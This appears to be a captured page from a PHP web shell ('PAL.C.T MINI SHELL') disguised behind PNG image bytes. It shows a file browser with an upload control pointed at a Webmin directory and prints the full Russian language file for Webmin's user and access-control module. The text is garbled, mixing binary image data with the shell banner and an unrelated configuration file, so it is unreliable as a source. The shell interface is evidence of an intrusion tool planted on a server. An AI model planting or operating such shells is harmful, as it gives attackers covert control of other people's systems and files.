php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/acl/lang/
upload
files >> //usr/libexec/webmin/acl/lang/ru

index_title=Пользователи Webmin
index_user=Пользователь
index_modules=Модули
index_create=Создать нового пользователя Webmin
index_convert=Преобразовать пользователей Unix в пользователей Webmin
index_cert=Запросить сертификат SSL
index_certmsg=Нажмите на эту кнопку, чтобы запросить сертификат SSL, который позволит вам безопасно входить в Webmin, не указывая имени пользователя и пароль.
index_return=списку пользователей
index_none=Нет
index_edit=Изменить доступ к модулю:
index_global=Общий доступ
index_users=Пользователи Webmin
index_groups=Группы Webmin
index_group=Группа
index_nousers=Не определено ни одного пользователя Webmin, доступ которого можно изменить.
index_nogroups=Не определено ни одной группы Webmin, доступ которой можно изменить.
index_gcreate=Создать новую группу Webmin
index_members=Члены
index_modgroups=Модули группы $1
index_sync=Настроить синхронизацию пользователей Unix
index_unix=Настроить аутентификацию пользователей Unix
index_sessions=Просмотреть сеансы работы
index_rbac=Настройка RBAC
index_delete=Удалить выбранные

edit_title=Изменение пользователя Webmin
edit_title2=Создание пользователя Webmin
edit_readonly=Этот пользователь Webmin не должен редактироваться, потому что он управляется модулем $1. <a href='$2'>Нажмите сюда</a> чтобы обойти это предупреждение и всЈ-равно отредактировать пользователя - но будьте осторожны, любые изменения сделанные вручную могут быть перезаписаны!
edit_rights=Права доступа пользователя Webmin
edit_user=Имя пользователя
edit_cloneof=Копирование пользователя Webmin
edit_real=Настоящее имя
edit_group=Член группы
edit_pass=Пароль
edit_same=Тот же, что и в Unix
edit_lock=Не принимать пароль
edit_pam=Аутентификация PAM
edit_unix=Аутентификация Unix
edit_extauth=Внешняя программа аутентификации
edit_dont=Не менять
edit_set=Установить в
edit_passlocked=Пароль не был изменен в течении $1 дней - аккаунт заблокирован!
edit_passmax=Пароль не был изменен в течении $1 дней - он должен быть изменен при следующем входе
edit_passold=Последнее изменение пароля $1 дней назад
edit_passtoday=Пароль изменен меньше суток назад
edit_modules=Модули
edit_clone=Копировать
edit_lang=Язык
edit_notabs=Группировать модули по категориям?
edit_logout=Время до выхода по неактивности
edit_mins=минут
edit_chars=символов
edit_minsize=Минимальная длина пароля
edit_cert=Имя сертификата SSL
edit_none=Нет
edit_ips=Контроль доступа по IP
edit_all=Разрешить со всех адресов
edit_allow=Разрешить только с перечисленных адресов
edit_deny=Запретить с перечисленных адресов
edit_ipdesc=Доступ пользователя по IP работает так же, как и общий в модуле настройки Webmin. Проверка доступа пользователя по IP производится после общей проверки.
edit_skill=Опытность пользователя
edit_risk=Уровень риска
edit_risk_high=Супер-пользователь
edit_risk_medium=Администратор
edit_risk_low=Обычный пользователь
edit_groupmods=(в дополнение к модулям из группы)
edit_euser=У вас недостаточно прав для изменения этого пользователя
edit_ecreate=У вас недостаточно прав для создания пользователей
edit_theme=Персональная тема
edit_themeglobal=Из конфигурации Webmin
edit_themedef=Тема Webmin по умолчанию
edit_overlay=Персональный оверлей темы
edit_overlayglobal=Нет - настройки темы по-умолчанию
edit_log=Просмотреть журналы
edit_selall=Выбрать все
edit_invert=Инвертировать выделение
edit_hide=Скрыть неисползуемые
edit_switch=Переключиться на пользователя
edit_return=Пользователь Webmin
edit_return2=Группа Webmin
edit_rbacdeny=Режим доступа RBAC
edit_global=Разрешения на все модули
edit_templock=Временно заблокировано
edit_temppass=Принудительное изменение при следующем входе
edit_days=Разрешенные дни недели
edit_alldays=Каждый день
edit_seldays=Только выбранные дни ..
edit_hours=Разрешенное время дня
edit_allhours=В любое время
edit_selhours=С $1:$2 до $3:$4
edit_ui=Настройки пользовательского интерфейса
edit_security=Параметры безопасности и ограничений
edit_mods=Доступные модули Webmin
edit_modsg=Доступные модули Webmin (в дополнение к доступным для группы)

save_err=Не удалось сохранить пользователя
save_ename='$1' не является корректным именем пользователя
save_enamewebmin=Имя пользователя 'webmin' зарезервировано для внутреннего использования
save_edup=Имя пользователя'$1' уже существует
save_eoverlay=Оверлей темы не может быть выбран, пока не выбрана тема
save_edeny=Нельзя запретить доступ к модулю пользователей Webmin самому себе
save_eos=На вашей операционной системе пароль не может быть тем же, что и у пользователя Unix.
save_emd5=Нельзя использовать для Webmin те же пароли, что и у пользователей Unix в системах с шифрованием MD5
save_eunix=Пользователь Unix '$1' не существует
save_emod=Вы не можете предоставить доступ к модулю'$1'
save_ecreate=У вас недостаточно прав для создания пользователей
save_euser=У вас недостаточно прав для изменения этого пользователя
save_ecolon=Пароли не могут содержать символа :
save_epass=Неправильный пароль : $1
save_eself=Ваш текущий адрес IP ($1) попадет в список запрещенных
save_epam=Аутентификация PAM недоступна, так как модуль Perl <tt>Authen::PAM</tt> либо не установлен, либо работает неправильно.
save_epam2=Для <a href='$1'>загрузки и установки модуля Perl Authen::PAM</a>, вы можете воспользоваться модулем Webmin 'Модули Perl'
save_egroup=У вас недостаточно прав для добавления в эту группу
save_enone=Не указаны адреса
save_enet='$1' не является корректным адресом сети
save_emask='$1' не является корректной сетевой маской
save_eip='$1' не является полным IP адресом или сетью
save_ehost=Не удалось найти IP адрес для '$1'
save_elogouttime=Не указанное или нечисловое значение времени до отключения по неактивности
save_eminsize=Не указанное или нечисловое значение минимальной длины пароля
save_edays=Не выбраны разрешенные дни
save_ehours=Не указанное или неправильное разрешенное время
save_ehours2=Время начала разрешенного интервала, должно наступать раньше чем его конец
save_etemp=Настройка принудительной смены пароля при следующем входе, не может использоваться пока включена опция <a href='$1'>предлагать пользователям ввести новый пароль</a>

delete_err=Не удалось удалить пользователя
delete_eself=Нельзя удалить самого себя
delete_ecannot=У вас недостаточно прав для удаления пользователей
delete_euser=У вас недостаточно прав для удаления этого пользователя

cert_title=Запрос сертификата
cert_issue=Выпуск сертификата
cert_header=Настройка сертификата
cert_msg=Вы можете запросить сертификат клиента SSL, который в будущем будет использоваться вместо имени пользователя и пароля для предоставления вам доступа к Webmin. Это более безопасно, но, так как аутентификация производится автоматически, пока вы используете сертификат, вы не сможете переключиться на другого пользователя.
cert_ebrowser=Webmin не знает как выпустить сертификат для вашего браузера ( $1 )
cert_cn=Ваше имя
cert_email=Адрес электронной почты
cert_ou=Отдел
cert_o=Организация
cert_sp=Штат
cert_c=Код страны
cert_key=Размер ключа
cert_done=Сертификат для $1 был успешно создан.
cert_pickup=<a href='$1'>Щелкните здесь для установки сертификата в ваш браузер</a>
cert_install=Установить сертификат в браузер
cert_ekey=Новый ключ SSL не был передан вашим браузером - возможно он не поддерживает сертификаты клиента SSL.
cert_eca=Не удалось настроить CA : $1
cert_already=Внимание - вы уже используете сертификат $1.

acl_title=Доступ к модулям
acl_title2=Для $1 к $2
acl_title3=Для группы $1 к $2
acl_options=$1 - настройка доступа
acl_config=Может изменять настройки модуля?
acl_reset=Сброс на полный доступ
acl_rbac=Получать настройки доступа от RBAC?
acl_rbacyes=Да (перезаписать настройки ниже)

acl_uall=Всех пользователей
acl_uthis=Этого пользователя
acl_usel=Указанных пользователей ..
acl_gr=Членов $1
acl_users=Может изменять
acl_mods=Может предоставлять доступ к
acl_all=Всем модулям
acl_own=Только к своим собственным модулям
acl_sel=Указанным модулям ..
acl_create=Может создавать новых пользователей?
acl_delete=Может удалять пользователей?
acl_rename=Может переименовывать пользователей?
acl_acl=Может изменять настройки доступа к модулю?
acl_lang=Может изменять язык?
acl_chcert=Может изменять имя сертификата SSL?
acl_euser=У вас недостаточно прав для изменения прав доступа для этого пользователя
acl_egroup=У вас недостаточно прав для изменения прав доступа групп
acl_emod=У вас недостаточно прав для изменения прав доступа к этому модулю
acl_others=Может видеть недоступные модули?
acl_cert=Может запрашивать сертификат?
acl_err=Не удалось сохранить настройки доступа
acl_groups=Может изменять группы?
acl_gassign=Может добавлять пользователей в группы
acl_gall=Все группы
acl_gsel=Выбранные ..
acl_gnone=Нет
acl_perms=Новые пользователи получают
acl_perms_1=Тот же доступ к модулям, что и у создателя
acl_perms_0=Доступ к модулям по умолчанию (без ограничений)
acl_sync=Может настраивать синхронизацию пользователей Unix?
acl_unix=Может настраивать аутентификацию Unix?
acl_sessions=Может просматривать и завершать сеансы работы?
acl_cats=Может изменять категории?
acl_theme=Может изменять тему?
acl_ips=Может изменять доступ по IP?
acl_switch=Может переключаться на других пользователей?
acl_times=Может изменять время разрешенное для входа?

log_modify=Изменен пользователь Webmin $1
log_rename=Пользователь Webmin $1 переименован в $2
log_create=Создан пользователь Webmin $1
log_clone=Скопирован пользователь Webmin $1 в $2
log_delete=Удален пользователь Webmin $1
log_acl=Изменен доступ $1 к $2
log_reset=Сброс настроек для $1 в $2
log_cert=Выпущен сертификат для пользователя $1
log_modify_g=Изменена группа Webmin $1
log_rename_g=Группа Webmin $1 переименована в $2
log_create_g=Создана группа Webmin $1
log_delete_g=Удалена группа Webmin $1
log_switch=Переключен на пользователя Webmin $1
log_delete_users=Удалены $1 пользователей Webmin
log_delete_groups=Удалены $1 группы Webmin
log_pass=Изменены ограничения для пароля
log_unix=Изменена аутентификация пользователей unix
log_sync=Изменена синхронизация пользователей unix

gedit_ecannot=У вас недостаточно прав для изменения групп
gedit_title=Изменение группы Webmin
gedit_title2=Создание группы Webmin
gedit_group=Имя группы
gedit_rights=Права доступа группы Webmin
gedit_modules=Модули членов
gedit_members=Участник пользователей и групп

gdelete_err=Не удалось удалить группу
gdelete_ecannot=У вас недостаточно прав для удаления групп
gdelete_euser=Нельзя удалить собственную группу
gdelete_esub=Нельзя удалить группы, имеющие подгруппы
gdelete_title=Удаление группы
gdelete_desc=Удалить группу $1 и всех ее членов $2 ?
gdelete_ok=Удалить группу

gsave_err=Не удалось сохранить группу
gsave_ename=Имя группы не указано или указано неверно
gsave_enamewebmin=Имя группы 'webmin' зарезервировано для внутреннего использования
gsave_edup=Это имя группы уже используется

convert_title=Преобразование пользователей
convert_ecannot=У вас недостаточно прав для преобразования пользователя Unix
convert_nogroups=В вашей системе не определена ни одна группа Webmin. Перед преобразованием необходимо добавить хотя бы одну группу для определения прав доступа преобразованных пользователей.
convert_desc=Вы можете преобразовать существующих пользователей Unix в пользователей Webmin. Права всех новых пользователей Webmin будут определяться правами группы выбранной ниже.
convert_0=Всех пользователей
convert_1=Только указанных пользователей
convert_2=Всех пользователей, кроме указанных
convert_3=Пользователей, принадлежащих группе
convert_4=Пользователей с UID в диапазоне
convert_group=Добавить новых пользователей в группу Webmin
convert_ok=Преобразовать
convert_err=Не удалось преобразовать пользователей
convert_eusers=Не указаны преобразуемые пользователи
convert_egroup=Группа Unix не существует
convert_emin=Неверный минимальный UID
convert_emax=Неверный максимальный UID
convert_ewgroup=Нет такой группы Webmin
convert_ewgroup2=У вас недостаточно прав для добавления новых пользователей в эту группу
convert_skip=$1 пропущен
convert_exists=$1 уже существует
convert_invalid=$1 не является правильным именем пользователя Webmin
convert_added=$1 добавлен
convert_msg=Преобразование пользователей Unix...

sync_title=Синхронизация пользователей Unix
sync_desc=Вы можете настроить автоматическую синхронизацию пользователей Unix, созданных с помощью Webmin, с пользователями этого модуля.
sync_nogroups=В вашей системе не определено ни одной группы Webmin. Для задания доступа созданных пользователей должны быть добавлена хотя бы одна группа.
sync_create=Создавать пользователя Webmin при создании пользователя Unix.
sync_update=Обновлять пользователя Webmin при обновлении пользователя Unix.
sync_delete=Удалять пользователя Webmin при удалении пользователя Unix.
sync_group=Добавлять новых пользователей в группу Webmin
sync_unix=Установить пароль для новых пользователей в режим аутентификации Unix
sync_ecannot=У вас недостаточно прав для настройки синхронизации пользователей.

unix_title=Аутентификация пользователей Unix
unix_err=Не удалось сохранить аутентификацию Unix
unix_def=Разрешать входить только пользователям Webmin
unix_sel=Разрешать входить пользователям Unix перечисленным ниже..
unix_mode=Разрешено
unix_mall=Все пользователи
unix_group=Член группы..
unix_user=Разрешать входить любому пользователя Unix с правами пользователя
unix_who=Пользователь или группа
unix_to=Как пользователь Webmin
unix_ecannot=У вас недостаточно прав для изменения аутентификации пользователей Unix
unix_epam=Аутентификация пользователей Unix недоступна, так как модуль Perl <tt>Authen::PAM</tt> не установлен или работает неправильно
unix_all=Допускать всех пользователей Unix
unix_allow=Допускать только перечисленных пользователей Unix
unix_deny=Не допускать перечисленных пользователей Unix
unix_none=Не введены пользователи
unix_euser='$1' это неправильное имя для пользователя
unix_egroup='$1' это неправильное имя для группы
unix_shells=Запретить пользователей Unix чья командная оболочка (shell) не перечислена в файле
unix_eshells=Неуказанный или несуществующий файл командной оболочки (shell)
unix_ewhogroup=Не указана разрешенная группа в строке $1
unix_ewhouser=Не указан разрешенный пользователь в строке $1
unix_enone=Не указаны пользователи и группы Unix, которым разрешен вход
unix_same=&lt;Тот же пользователь или группа&gt;
unix_sudo=Разрешить пользователям, которые могут запускать все команды как <tt>sudo</tt>, входить как <tt>root</tt>
unix_esudo=Команда $1 не установлена
unix_esudomod=Не установлен модуль Perl $1, необходимый для аутентификации <tt>sudo</tt>

sessions_title=Текущие сеансы работы
sessions_id=ID сеанса
sessions_user=Пользователь Webmin
sessions_login=Время входа
sessions_host=IP адрес
sessions_lview=Просмотр журнала..

hide_title=Скрыть неиспользуемые модули
hide_desc=Следующие модули, соответствующие серверы которых не установлены, будут удалены из списка контроля доступа для $1.
hide_ok=Скрыть модули
hide_none=Нечего скрывать - $1 не имеет доступа к модулям, соответствующие серверы которых не установлены в вашей системе.
hide_desc2=Обратите внимание, что эти модули не появятся снова автоматически, когда соответствующие серверы будут установлены. Вы должны будете вручную задать права доступа для этих модулей.

switch_euser=Вам не разрешено переключаться на пользователя
switch_eold=Существующая сессия не найдена!

rbac_title=Настроить RBAC
rbac_esolaris=В данный момент, RBAC доступен только на Solaris, и не может использоваться на системе $1.
rbac_eperl=Модуль Perl $1 необходимый для интеграции RBAC не установлен. <a href='$2'>Нажмите здесь</a>, если хотите его установить.
rbac_ecpan=У вас нет доступа к странице Webmin с модулями Perl для того, чтобы установить модуль $1 требуемый для интеграции RBAC.
rbac_ok=Интеграция RBAC доступна на этой системе, и может быть включена для каждого пользователя на странице редактирования пользователей Webmin.

udeletes_err=Не удалось удалить пользователей
udeletes_enone=Нет выбранных
udeletes_title=Удаление пользователей
udeletes_rusure=Вы действительно хотите удалить $1 выбранных пользователей? Вся информация о них и их настройках безопасности будут потеряны.
udeletes_users=Выбранные пользователи: $1
udeletes_ok=Удалить пользователей
udeletes_ereadonly=Один из выбранных пользователей отмечен как нередактируемый

gdeletes_err=Не удалось удалить группы
gdeletes_title=Удаление группы
gdeletes_rusure=Вы уверены, что хотите удалить $1 выбранных групп, и $2 пользователей содержащихся в них? Информация о пользователях и их настройках контроля доступа будут потеряны.
gdeletes_users=Выбранные группы: $1
gdeletes_ok=Удалить группы

pass_title=Ограничения для пароля
pass_header=Настройки принудительной смены пароля Webmin
pass_minsize=Минимальная длина пароля
pass_nominsize=Нет
pass_regexps=Пароли должны соответствовать регулярному выражению
pass_regdesc=Описание регулярного выражения понятное для пользователей
pass_maxdays=Дней до обязательной смены пароля
pass_lockdays=Дней до блокировки аккаунта не изменившего свой пароль
pass_nomaxdays=Смена пароля не требуется
pass_nolockdays=Аккаунт никогда не заблокируется
pass_nouser=Запретить пароли содержащие имя пользователя?
pass_nodict=Запретить слова из словаря в качестве паролей?
pass_oldblock=Количество сохраняемых старых паролей для запрета их повторного использования
pass_nooldblock=Без ограничений на повторное использование
pass_days=дней
pass_pass=паролей
pass_err=Не удалось сохранить ограничения для пароля
pass_eminsize=Неуказанное или нечисловое минимальное количество символов в пароле
pass_emaxdays=Неуказанное или нечисловое значение количества дней до изменения
pass_elockdays=Неуказанное или нечисловое значение количества дней до блокировки аккаунта
pass_eoldblock=Неуказанное или нечисловое количество хранимых старых паролей

cpass_minsize=Должен быть не меньше $1 символов в длину
cpass_notre=Соответствует недопустимому образцу
cpass_re=Не соответствует требуемому образцу
cpass_name=Содержит имя пользователя
cpass_dict=Это слово из словаря
cpass_spellcmd=Не установлены команды $1 или $2 необходимые для проверки по словарным словам
cpass_old=Нельзя повторно использовать старый пароль
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`